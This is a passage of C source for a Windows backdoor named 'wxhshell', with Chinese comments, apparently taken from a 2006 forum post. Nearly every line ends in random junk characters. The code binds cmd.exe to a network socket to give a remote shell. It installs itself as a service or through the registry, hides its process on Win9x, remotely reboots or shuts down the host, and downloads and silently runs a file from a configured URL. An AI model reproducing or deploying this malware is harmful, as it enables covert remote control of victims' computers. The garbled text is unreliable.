HKu? J  
    switch(cmd[0]) { f Z8%Z   
  ' >a(|  
  // 帮助 { FVLH:{U^  
  case '?': { }diB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n0|oV(0FE  
    break; N-XOPwx'  
  } /5cFa  
  // 安装 6mcxp+lm|  
  case 'i': { _}MO.&Y  
    if(Install()) =eG?O7z&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DmDsn  
    else hM}rf6B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _$s ;QI]x  
    break; pxm{?eBz  
    } %`*`HU#X  
  // 卸载 1Rrp#E}  
  case 'r': { P<<?7_ ??  
    if(Uninstall()) M"QT(u+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &!/E&e$_  
    else "rhU2jT=c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %eJolztKZ  
    break; ,H6*9!Dv2  
    } 6z;C~_BV  
  // 显示 wxhshell 所在路径 <dzfD;  
  case 'p': { CeL`T:]r  
    char svExeFile[MAX_PATH]; F3BWi[Xh  
    strcpy(svExeFile,"\n\r"); Ik{[BRzUgt  
      strcat(svExeFile,ExeFile); @tv3\eD  
        send(wsh,svExeFile,strlen(svExeFile),0); poJ7q (  
    break; Bw5zh1ALC;  
    } h)S223[  
  // 重启 XLwmXi  
  case 'b': { h#_KO-#.[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `re9-HM  
    if(Boot(REBOOT)) *Uq1 q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 #*M'C#  
    else { m417=wf  
    closesocket(wsh); b.=bgRV2{x  
    ExitThread(0); Fh2$,$ 2  
    } xd[GJ;xvs  
    break; e,j2#wjor  
    } hC1CISm.U  
  // 关机 )ro3yq4??  
  case 'd': { }M3f ?Jv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y"N7r1Pf  
    if(Boot(SHUTDOWN)) <*D{uMw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ryhme\%l;f  
    else { ;%-f>'KhI7  
    closesocket(wsh); }^T7S2_Qy  
    ExitThread(0); Zp5;=8wa;  
    } >lyX";X#  
    break; 05$;7xnf(  
    } ^]nnvvp  
  // 获取shell #&Xr2?E@  
  case 's': { Y&vn`#   
    CmdShell(wsh); a4'KiA2r  
    closesocket(wsh); SVr3OyzI  
    ExitThread(0); vTrjhTa\  
    break; k7o49Y(#  
  } =m<; Jx5  
  // 退出 =+I~K'2  
  case 'x': { QU`M5{#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NO(^P+s  
    CloseIt(wsh); %BdQ.\4DS  
    break; &b!L$@6  
    } !m7`E  
  // 离开 ].E89_|O  
  case 'q': { jZRf{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *t_"]v-w  
    closesocket(wsh); "EA6RFRD  
    WSACleanup(); N?Wx-pK  
    exit(1); X<pg^Y0  
    break; >[,ywRJ#_}  
        } 'brt?oZ%  
  } !v^{n+  
  } U<T.o0s=  
)Dg;W6  
  // 提示信息 .Vohd@s9l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "nkj_pC  
} 0Dx,)C  
  } (#|CL/&  
f9+J}  
  return; i5f8}`w  
} $P=B66t ^  
+ F{hFuHV  
// shell模块句柄 D'{NEk@  
int CmdShell(SOCKET sock)  18(hrj  
{ s^atBqw,  
STARTUPINFO si; (P( =6-0  
ZeroMemory(&si,sizeof(si)); E5^P*6c(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  O=,[u?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _J|TCm  
PROCESS_INFORMATION ProcessInfo;  [#+yL  
char cmdline[]="cmd"; P}YtT3. K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *u?QO4>  
  return 0; 2#<)-Cak  
} kTC'`xv  
:K:oH}4oh  
// 自身启动模式 :htz]  
int StartFromService(void) bc+~g>o  
{ JbV\eE#KrC  
typedef struct (d> M/x?W  
{ cRR[ci34k  
  DWORD ExitStatus; {6_M$"e.  
  DWORD PebBaseAddress; 8R3x74fL  
  DWORD AffinityMask; pUGFQ."\  
  DWORD BasePriority; W6e,S[J^FY  
  ULONG UniqueProcessId; i~};5j(  
  ULONG InheritedFromUniqueProcessId; ]lX`[HX7  
}   PROCESS_BASIC_INFORMATION; xz$-_NWW  
C:*=tD1  
PROCNTQSIP NtQueryInformationProcess; %anY'GK   
fU6O:-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {Xw6]d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {D6p?TL+  
9.:]eL  
  HANDLE             hProcess; &dH[lB  
  PROCESS_BASIC_INFORMATION pbi; 5Kadh2nz  
& bKl(,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $;4y2?E  
  if(NULL == hInst ) return 0; 9<e%('@[  
&:>3tFQSH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @r.w+E=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cEdf&*_-'I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); li @:  
s6U$]9 `  
  if (!NtQueryInformationProcess) return 0; '-,$@l#  
Io(*_3V)B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kFRl+,bi~  
  if(!hProcess) return 0; D]?eRO9'  
*?JNh;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9}[UZN6  
;u(#-C2^{l  
  CloseHandle(hProcess); 7R4t%^F  
Jbv[Ql#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R&-Vm3mc3  
if(hProcess==NULL) return 0;  &x":  
?Z0NHy;5  
HMODULE hMod; \80W?9qj  
char procName[255]; r_x|2 A oO  
unsigned long cbNeeded; ~E8L,h~  
#J Ay  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eP?=tUB!S  
W0I)< S  
  CloseHandle(hProcess); PM?F;mj  
K9HXy*y49  
if(strstr(procName,"services")) return 1; // 以服务启动 5LX%S.CW  
!y$:}W?_  
  return 0; // 注册表启动 CE|iu!-4  
} aPwUC:>`D  
t'e\Z2  
// 主模块 [ ,&O  
int StartWxhshell(LPSTR lpCmdLine) Irc(5rD7   
{ m8T< x>  
  SOCKET wsl; n9%&HDl4  
BOOL val=TRUE; b2tUJ2p  
  int port=0; ppP0W `p  
  struct sockaddr_in door; R<L<kChg  
SSAf<44e  
  if(wscfg.ws_autoins) Install(); hr/H vB  
0| }]=XN^  
port=atoi(lpCmdLine); "c5bz  
 z@8W  
if(port<=0) port=wscfg.ws_port; pBxyq"z  
W5^<4Ya!  
  WSADATA data; ${F4x"x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +F4SU(T  
q`0wG3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -cONC9 =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BN~gk~t_  
  door.sin_family = AF_INET; s=H| ^v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8#{DBWU  
  door.sin_port = htons(port); _C%:AFPP>  
c+:XaDS-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )ppIO"\  
closesocket(wsl); c-y`Hm2"  
return 1; '@{Mq%`  
} k d9<&.y{  
fZtuP1- 4  
  if(listen(wsl,2) == INVALID_SOCKET) { k0v&U@+-J  
closesocket(wsl); =j~vL`d2]  
return 1; a/{M2  
} VR XK/dZ  
  Wxhshell(wsl); P?o|N<46  
  WSACleanup(); T!%J x.^  
| zyO;  
return 0; vveL|j  
nJhaI  
} c9:8KMF)  
~QngCg-5q  
// 以NT服务方式启动 Fl}{"eCF8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <}Hs@`jS  
{ O>3f*Cc  
DWORD   status = 0; pGdFeEkB/  
  DWORD   specificError = 0xfffffff; "qdEu KI  
%F}i2!\<L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l<)k`lrMX4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; od-yVE&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2r"J"C  
  serviceStatus.dwWin32ExitCode     = 0; P^57a?[`  
  serviceStatus.dwServiceSpecificExitCode = 0; EM7Z g 65  
  serviceStatus.dwCheckPoint       = 0; b[rVr J  
  serviceStatus.dwWaitHint       = 0; a{@gzB  
Db K(Rh_ K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yv/T6z@  
  if (hServiceStatusHandle==0) return; .z, ot|  
oe*CZ  
status = GetLastError(); 045_0+r"@  
  if (status!=NO_ERROR) `LOW)|6r`  
{ sXwa`_{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F #)@ c  
    serviceStatus.dwCheckPoint       = 0; E<[ Y KY  
    serviceStatus.dwWaitHint       = 0;  \RS ,Y  
    serviceStatus.dwWin32ExitCode     = status; t`")Re_j  
    serviceStatus.dwServiceSpecificExitCode = specificError; cd(YH! 3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dqgH"g  
    return; 6FkBb !ASk  
  } #SX-Y)> 1@  
ez14f$cJ+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mMw--Gc?  
  serviceStatus.dwCheckPoint       = 0; ECk* H  
  serviceStatus.dwWaitHint       = 0; #Dp]S, e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K"jS,a?s 6  
} P$zhMnAAN  
hf\/2Vl  
// 处理NT服务事件,比如:启动、停止 LDY3Ya`6m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hjq@ .5  
{ *t300`x  
switch(fdwControl) 0=k  
{ 1 \Z/}FT  
case SERVICE_CONTROL_STOP: E1D0 un  
  serviceStatus.dwWin32ExitCode = 0; /8wfI_P>M"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uQYenCNXS  
  serviceStatus.dwCheckPoint   = 0; ?UV|m  
  serviceStatus.dwWaitHint     = 0; 4x-K0  
  { yVe<+Z\7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dK41NLGQ  
  } /RI"a^&9A  
  return; Al+}4{Q+?  
case SERVICE_CONTROL_PAUSE: z#B(1uI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d*_rJE}B  
  break; ^#!\VGnL  
case SERVICE_CONTROL_CONTINUE: y& (pt!I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Vrl:  
  break; OCELG~  
case SERVICE_CONTROL_INTERROGATE: >BZ,g!N,J}  
  break; /s@j{*Om  
}; s+E: 7T9P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bT MgE Y  
} 5KTPlqm0qF  
6[,7g&C  
// 标准应用程序主函数 @77+K:9I 7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $ZkT G  
{ i`w)dS  
Xc$Zkfmms  
// 获取操作系统版本 e F)my  
OsIsNt=GetOsVer(); P9)L1l<3I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~?:>=x  
V8rS~'{\  
  // 从命令行安装 "(mF5BE-E  
  if(strpbrk(lpCmdLine,"iI")) Install(); p,BoiYdi  
tYp 185  
  // 下载执行文件 u\(>a  
if(wscfg.ws_downexe) { ]Pe8G(E!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )jjL'  
  WinExec(wscfg.ws_filenam,SW_HIDE); yN/g;bQ  
} ]wwNmmE  
XEBj=5sG  
if(!OsIsNt) { =E62N7_`=  
// 如果时win9x,隐藏进程并且设置为注册表启动 (>uA(#Z  
HideProc(); *i {e$Zv'  
StartWxhshell(lpCmdLine); =fJ  /6  
} &$ fyY:<\  
else WWTRB +1>  
  if(StartFromService()) z.^_;Vql_  
  // 以服务方式启动 Fj46~#ZZ  
  StartServiceCtrlDispatcher(DispatchTable); Q <ulh s  
else ZK h4:D  
  // 普通方式启动 .,f]'!5  
  StartWxhshell(lpCmdLine); Z7I\\M  
yL %88,/  
return 0; <cxe   
}
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只看该作者 1 发表于: 2006-10-10
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